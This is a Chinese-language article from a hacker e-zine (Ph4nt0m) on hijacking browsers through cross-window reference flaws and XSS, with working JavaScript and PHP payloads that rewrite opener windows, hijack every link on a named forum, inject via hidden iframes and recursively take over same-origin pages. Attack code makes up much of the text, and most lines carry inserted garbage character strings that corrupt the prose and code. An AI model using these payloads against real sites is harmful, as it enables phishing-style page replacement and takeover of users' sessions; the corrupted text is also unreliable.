==Ph4nt0m Security Team==
/ B- ]; Q, {/ f, {5 J- G7 w8 C . @4 G2 p9 o" Q/ L& J2 A5 V% [) D
Issue 0x03, Phile #0x05 of 0x07
: d! l( b5 Q; e2 I" P0 ^
! q Y" o+ L( T. [. o" q
1 s: R1 m4 [1 G" m! o! ]# O( O9 t|=---------------------------------------------------------------------------=|$ s+ z$ |/ c7 p5 }* i# @9 ?
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|4 k+ [3 C4 \' h8 S$ a
|=---------------------------------------------------------------------------=|5 Q" ^" `5 V6 f; o
|=---------------------------------------------------------------------------=|- c) Z% ?7 B$ o7 Q4 S9 t5 t
|=------------------------=[ By rayh4c ]=---------------------------=|
& l; O% {! b0 i$ m8 t% z|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|* \- I) q9 x0 q
|=---------------------------------------------------------------------------=|4 d( I% O" ^6 ~# A
6 L. F/ J' p" U- ]) C0 q t. E; {2 M2 R* d n/ h
[目录]+ Q; C# B' H' n/ s7 q+ K
5 ~0 x5 `4 i( V, t% Y/ \$ p
1. 前言, z* b) T: ]/ G# T4 J% g
2. 同源策略简叙
0 K5 |% [1 a) N% k. J+ e3. 理解window对象的同源策略
# x, w; {) O- i1 c/ t7 Q4. 窗口引用功能中的同源策略漏洞
$ m8 x* ]& m: B9 F3 Z" ~ 4.1 父窗口引用子窗口的同源策略问题# _, |) u6 e$ W+ q0 c& @5 C
4.2 子窗口引用父窗口的同源策略问题% y2 Q2 P: D% U5 m0 Q
5. 利用窗口引用漏洞劫持浏览器
# f5 I8 m) E% v& y6. 利用XSS漏洞劫持浏览器$ E- i" f8 N1 B, q5 {4 k @
6.1 正向跨窗口劫持
8 p. T, m* w3 ` k8 d3 g) n+ \ 6.2 反向跨窗口劫持
, {$ Z6 b, p) J% x3 x 6.3 极度危险的跨框架窗口引用劫持
2 ]) V/ e3 s( p0 q 6.4 极度危险的正反向跨窗口递归劫持
" o/ N2 Y1 H: I9 K U$ [/ D, g8 A 6.5 完全控制浏览器% a0 Q& ^ o! l- Z b
7. 后记
. q. E( e m# | N- E. c& n; ^8. 参考7 A( F' N% E8 ]5 a7 A- [
1 P% v! M; I. w: b( G$ k
3 J! }' j4 a B& @2 s
一、前言0 T2 q& L* t3 `; i
0 ^+ }/ G( m, `! f, M* T/ e1 [ 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋2 u8 o7 ~! \- e" {$ j" h
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session5 ^' F) C8 j; L6 r) l
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
2 W2 h8 S7 ^: A5 s, `条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。, }# }6 y/ D0 Q) A `$ {. j
( q3 ?: ?2 ^0 Y' p1 i) ?- G
- Y& w* |6 H( t二、同源策略简叙$ o7 L* C: Y3 m$ v$ `0 x
$ ~: Q. R9 k3 ^/ _; j 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
* a# M. c/ v- W从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
?$ a* T; a$ `7 o) f曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
3 [% e. h" a2 E: k马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个3 ^ E$ X# m0 f- B; O7 T9 B$ V
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。- D7 A' t* j/ F
! i3 z; q% T' Q+ M- }' H Q$ R! V7 y1 g! b. j8 r# n
三、理解window对象的同源策略4 x( z& Z6 r i
! p* ^6 h1 f# a7 d1 v# o5 V0 C
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对! Q# C5 {: h& X8 \8 J! [* @
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
l# ?0 Q9 G n f+ g# R: c; C
) @4 f1 W& l: Z' i--code-------------------------------------------------------------------------$ {* P, O+ h2 K3 c5 x% u9 A; g( k- Q
<script language="javascript">0 c8 W9 X; _" L i
for(p in window) document.write(p+"<br>");
7 S+ K, x! `" w</script>- [; I" M& ~9 {* D
-------------------------------------------------------------------------------
/ ]; K$ E1 v5 `. S5 P+ Y- {- o7 k3 p; P# z1 {- W
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
% ? G1 Y# Q* y" }; y/ M( ~3 n! U法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,. ^) J& H; m9 c; f& ^
这些属性和方法就必须遵循同源策略。6 d0 ?, l; z, a$ a$ I1 u
) u6 Q/ F/ u3 k; p3 X
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那3 X+ w' M$ q, D
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
( _- G* X( D. G的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
1 p" [ X+ E9 [" ^/ n个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
9 R/ ^3 ~. \ X) N" i6 G值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
5 L( |" [. R* P; S7 Y属性并没有被拒绝访问。. r0 `# N" u5 F+ v2 O0 K9 i
4 N; m- K7 X; J- Y: P( _6 m8 Z7 s
--demo.html--------------------------------------------------------------------
9 G; P4 o, K! K$ h% R<script language="javascript">
$ d# ]# T$ z' _ R) [function allPrpos(obj) { 1 ]# R' F) B5 b" k% ^8 {
var props = "<table><tr><td>名称</td><td>值</td>";
V) p5 s3 m# v for(var p in obj){ + k: ^: G% P# A4 |) h
if(typeof(obj[p])=="function"){ 9 l9 Z0 {0 l( n! O& C f I) I3 c; E
obj[p]();
: h. n2 Q, ^7 ]/ q& [# n9 K) \ }else{
, t. T2 A/ o' _/ ~( P' L6 Z try
+ }! y! p# c8 b, G. N; @9 } {
% K4 T& `. Q' m/ g props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; 3 |' [, Y4 |4 v( V% y# {- k" S
} , V& g1 L% R0 R
catch (ex)
3 q4 |: q9 V7 }) ^) b: K {
% o6 r6 p' I) b- j- U: l 1 Y* u% O$ P/ j7 ^$ n# T: r
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; " D; i/ \- ]! b# H6 }
} : e+ g Q5 d S* e
5 \$ H* \0 z( e2 O" [$ Y
}
9 Q8 @5 X# D- O0 T" m0 W4 l" T% B! Q } 2 C- \" o* e9 X8 ~$ i* y
, I. D% X) A( ]0 v) f& G- h0 j3 V document.write(props+"</table>"); # P5 C A! b* Z3 Z
} 4 M: F& J) W1 Z; m" @
1 R2 P2 t& @/ }: _! h( p/ s5 D e2 Lfunction createWin() {% Z* V$ c+ r% `* r2 Q6 t; n
newWin = window.open ("http://www.google.com"); & q9 V5 x$ X3 h. n
setTimeout(function(){allPrpos(newWin)},2000);
2 c& S$ D# W' W) z; w" L0 p} 2 ~6 j: L5 l- _0 L4 Q
* F- v1 A' y8 d( D9 Q' c2 V% G</script> 1 A t+ Q- M+ e! N! z
; W1 N* E. T! ~% H2 f3 B! ]# f<button onclick='createWin()'>创建一个非同源子窗口测试</button>+ L7 N$ s7 S5 L2 T" |1 G
-------------------------------------------------------------------------------
) y p( ?2 S. r W: y. o6 k" P
. F, q6 A; x* A, @$ s( n7 h2 p7 E
四、窗口引用功能中的同源策略漏洞1 K. d, B2 M( e- ^, R% ^% D$ n- W
4 Q; K9 A! F( ^0 n' S2 j
4.1 父窗口引用子窗口的同源策略问题 z- o7 }" e- V: a+ Q* v
$ t' y/ D1 s1 V" t; \2 E4 _
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,# | k4 o& H; |6 s: b& a
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
' Y, p1 m! K) R! Z8 b" J3 j2 E浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
7 H H: D U# `; G行测试,会发现父窗口可以控制非同源子窗口location属性值。9 U% v" R0 i0 B9 ^$ D$ r6 b
0 ?+ ^$ [# A' z |--vul1.html--------------------------------------------------------------------
& ?8 h" C; @* e2 o+ }# U<script language="javascript">
! F" V4 K) h1 K5 Dfunction createWin() { ; L+ z% X+ ]5 E; l
newWin = window.open ("http://www.google.com"); : E" N+ l: ^9 y4 [0 Y7 I
setTimeout(function(){newWin.location="http://www.80sec.com"},2000); - m6 ~: q! T5 Q7 u+ }
} 9 S4 n7 _4 X2 x! z
</script>6 |! C9 h! ^, `% {( E9 j
; ~" M4 a9 k ~<button onclick='createWin()'>创建一个非同源子窗口测试</button>6 w- Y1 \& _* x: ~
-------------------------------------------------------------------------------* A) y& K* h% x' H. J: \9 j
+ C* ?. d: U. K5 J
1 @) x; C) h+ _& |2 t& u4.2 子窗口引用父窗口的同源策略问题. u6 ?, q9 y* W+ [
# X& S6 r6 [* |: c& D- P5 }. b 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
" V) D: g! [: }2 G) o7 L7 y- J用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们$ b9 w( E/ ?7 E6 @
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
: W5 p, D' W: t* L会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。4 m1 y2 _: p/ P8 o/ ^' d6 j B
- a- n9 a& E' n% b
--code-------------------------------------------------------------------------* W7 J0 N7 g, V# B) u! {3 B
( ]8 U( J* I+ @' F I) f. p! yjavascript:window.opener.location = "http://www.80sec.com";void(0);
; w5 [3 w+ O, M% I$ G b9 {6 t, m$ Z8 T' u$ }* W1 L5 {- G
-------------------------------------------------------------------------------
6 W" `, G2 o F. m1 [! Q
" R6 T. h0 s! s
; D o' r9 w# R) @- N+ i五、利用窗口引用漏洞劫持浏览器3 U! p) S5 ~- R8 g" x
/ E! X4 ^: ], A" ?! W
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
- U, Y U/ j! j0 h窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那0 m$ C) u/ F+ U# s. S
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
, T: H. p7 E) w$ A, C
* \/ H; H& P# ]4 | 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产+ {8 X3 V2 L" A6 v& V/ v
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或3 u) s& ?# H. E- E
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
4 ~7 M/ Y8 S- @/ c1 `后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
: p7 ^+ D) E/ L' b% M4 l会产生什么可怕的后果。' B' r. R) x. V( m# m& m
' n/ l& h* Y0 g% h- E/ b 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
1 Q0 K" W4 W9 b( }. Z们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
/ |( s% I* V% q6 Z0 H: M. Y* b0 j! y这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时& Z/ Y* L$ E8 n
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可8 F8 f4 B# [; q- Z3 B7 y
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
l$ |+ ~" W; [1 Z `
+ V% @) _% b. Q8 | e$ ]--hjk_ref.php------------------------------------------------------------------
& L1 c" y+ U5 W' ^. s, g. x; l<?php
) @7 j6 x& Q( K) A! Pif (array_key_exists("HTTP_REFERER", $_SERVER)) {4 O4 I+ { k, ^: O- b
$Url_Mirror = $_SERVER["HTTP_REFERER"];
~# e8 q9 Y* F& c5 T} 1 e9 B" R* T3 v2 t
if(isset ($_GET['ref'])) {- H3 `* z7 ] Z2 `: F7 F v
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
8 J7 z q% _! e1 c, A( o2 Y}
9 \2 @* K- ~% A?>$ m( ?' P: }( s" b! h% p+ N
1 e2 H% x7 |& G4 ~1 Z<script language="javascript">
' Z5 i! l: p1 i i! EsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
, `8 |5 A6 Z& w4 ?& C& R R h/ I</script>, J7 e) _& @# }
-------------------------------------------------------------------------------
4 F$ U4 ~8 i- d$ ?3 I* D, j1 t* @7 a- G: s% u
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。# ?/ _, J) e2 e" f
" }! t; F& G$ @
6 d$ m7 y; I" w; A$ g# L2 u0 a六、利用XSS漏洞劫持浏览器# Q) Y' r3 r9 q$ C+ c
2 b* ?6 z1 M- {( i- T7 j$ n: [ 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为5 A* O" b/ _8 p2 V
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
4 C! y: ]% S9 o0 ~0 W2 JXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起6 X$ K: r$ [, h3 c
讨论跨站师的终极技巧:
0 W) p8 m, k$ V! Q6 `9 A/ @5 F( x( e% i# J$ v# c
* M6 d6 x) a7 j! Y* y& v6.1 正向跨窗口劫持% A( ~8 e5 v( T
- F2 ]6 K- O" K% s 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
9 U" L% K& C) G1 R% F! j% [主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链# I: t9 r& Y. y
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
! Z: e) b# r: @: o框脚本。
5 \0 q, E) D, K, C% f
$ Z+ q( V8 W3 r! ]1 k {" B' P--hijack_open.js---------------------------------------------------------------
! H. _; f( [4 a/ \& q) E5 T( R- I8 e: s
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
! K' e# z& q7 a6 q
6 _1 ]2 V: c* A; Y& u/ J-------------------------------------------------------------------------------, h4 Z; b/ W; g# m# U8 i" h6 z) G, i$ k
) _6 H; M( S( G g. u
% {, e/ n c- a& v+ e6.2 反向跨窗口劫持
; Q- u$ K) z& V4 e9 ^3 y
7 T# d3 D# t0 P* ?- r 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
l( r* w, s: T& G4 i) J; n7 t0 f1 l码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
1 y g4 z0 L' I7 [- W$ Y7 }框脚本。
7 w# O: y- \' X1 E$ S- O% H) S& O
5 y4 n% W: n8 P) l9 \2 D--hijack_opener.js-------------------------------------------------------------
' R' H2 A4 ~- I- L6 Y2 v) _
% h6 X1 `$ W5 D( _6 fjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0); Y7 P1 L- U. h/ B* Y7 T/ a
! ?% M+ V( Z1 V, U: q8 \8 z% M-------------------------------------------------------------------------------
9 A! C, P' ?8 |8 o% A9 O3 m3 z+ U! Y* \; Z: R+ M
: I2 t% S: ]* t5 P/ T& C
6.3 极度危险的跨框架窗口引用劫持( l* q4 U: c% p# A
8 N1 ?- {& @: l1 h3 a
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞9 l. W0 `8 {. N- S" j. K, c
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就& Q/ r+ _) r4 ]: M$ ]
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个2 {7 w' Z: ^8 u0 G* e
非持久型的XSS,如下:
' k% I6 I5 k. Y- {$ n! v
( B) Q% S: B* M9 O8 d<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>1 U: Z: o/ a. e( r. {: X3 w
" w' l7 J9 A: z" `) u; p 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口9 t. y$ V3 O+ w y2 w
注入脚本。
. R4 O7 s* r }0 l6 v8 F* r3 v8 l _
0 c2 G# f' x h7 ?0 \" ]' r2 Y--hijack_frame_opener.js-------------------------------------------------------5 a6 ?5 @$ ^+ N: L6 y: s% e; ?) B
<script>
1 j8 ]1 o6 R) o: W. ?7 Bwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";, c, |' V; R2 } b+ @" J( O4 J
</script>
3 C1 \& e' S9 A0 [-------------------------------------------------------------------------------
# L0 f8 c" m" L* G+ @2 |" i6 C2 O9 J* ^" k+ m: q, l- w2 S& \; k
2 m# O! r4 n: w! v7 w' F5 H6.4 极度危险的正反向跨窗口递归劫持
7 Z7 {" n- e7 _) d' Y5 w/ {8 e
J) m5 x1 {2 p2 }2 U; h; a( J/ f9 b luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window. v5 Z, V. p. B/ j
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过/ A) G: W8 p( t3 \, x- B. O& u6 f
异常处理规避之间跨域页面的访问异常,代码如下:( J: w# k; h& B1 j
& ~. i9 ~8 T9 Y# g& |$ s9 d--code-------------------------------------------------------------------------) ~% d) }6 e; n& `
4 m8 l# Z7 M* Z1 q
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);& @* X8 N7 z J6 H" w. a
+ r: b x* t9 V) x; n2 D& v-------------------------------------------------------------------------------% S) ^! q) n( K
. X$ o @: _# z" h) c' Y' d/ Y3 P* } 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可2 N( f) \$ C: T& X4 ~/ m
以劫持B域之前的A域页面,从而实现“隔空打击”。7 f9 ^" T9 g3 [: g
& \4 c v' _* Y( L, f
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
& K N* b7 J3 u' _/ X执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
% T* Q" q8 c8 W* i3 o% q! D! ]* X. H9 Q$ b8 o' f
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
) p7 N5 C& f% N2 O$ ~! n4 N
* z+ O2 a+ u! }2 I0 ^) _/ Z, C5 T3 B# {4 H; v! @5 b
6.5 完全控制浏览器- ~0 n$ D/ l! f% G0 Y4 m
) N. j" C3 M/ c: U6 |7 T! ~7 e9 O% ^) x
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
/ N( J) A/ s( d5 E" W: E# Z* z. b是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS- n" x. B: h+ K$ b8 S! X B
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失5 d g3 V$ y. p( x) Z( O0 q4 }( {$ I4 a1 G5 P
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
+ a8 [! r% H X* ?" U; d \/ r列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站- A( a! Y. N* L1 Q: v
师的终极目标 - 完全控制浏览器。
9 U" c% A* T O
w5 O' X5 a. W% g3 Y
7 ]3 `+ m9 L) T; h8 M2 ?: p七、后记
# |2 R' k8 S7 U* }0 {" Z2 h
# a- p* }0 H' j9 d [4 g( L* e 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全: J+ k& S+ H1 M4 y0 D
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予5 G; N1 m. T6 |* O6 J, ?6 c
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。% X/ m! V/ ~+ N. ]$ m, c
1 }) w9 ^) k/ A9 C6 S# S
8 D" z4 f& u9 z5 t8 l
八、参考
# I' b0 [% O, B
3 b7 _9 H3 O v$ F0 w+ Z& |3 Z/ w1. http://en.wikipedia.org/wiki/Same_origin_policy
0 k3 L$ K7 ?: G+ |" s1 D. [2. http://code.google.com/p/browser ... licy_for_DOM_access
. h4 X! |2 h9 K- s- s3. http://www.w3.org/TR/Window/2 b& g, y% `8 R5 H- ?+ K" q, y6 S; J
4. http://www.80sec.com/release/browser-hijacking.txt
1 D1 G# r. z. w/ p" @$ D; S5. http://www.80sec.com/all-browser-security-alert.html
1 h$ a' ^: R) o' c, U+ c6. http://www.80sec.com/ms08-058-attacks-google.html4 a! W+ Q$ v/ |
" M+ h) L; K y8 u-EOF- |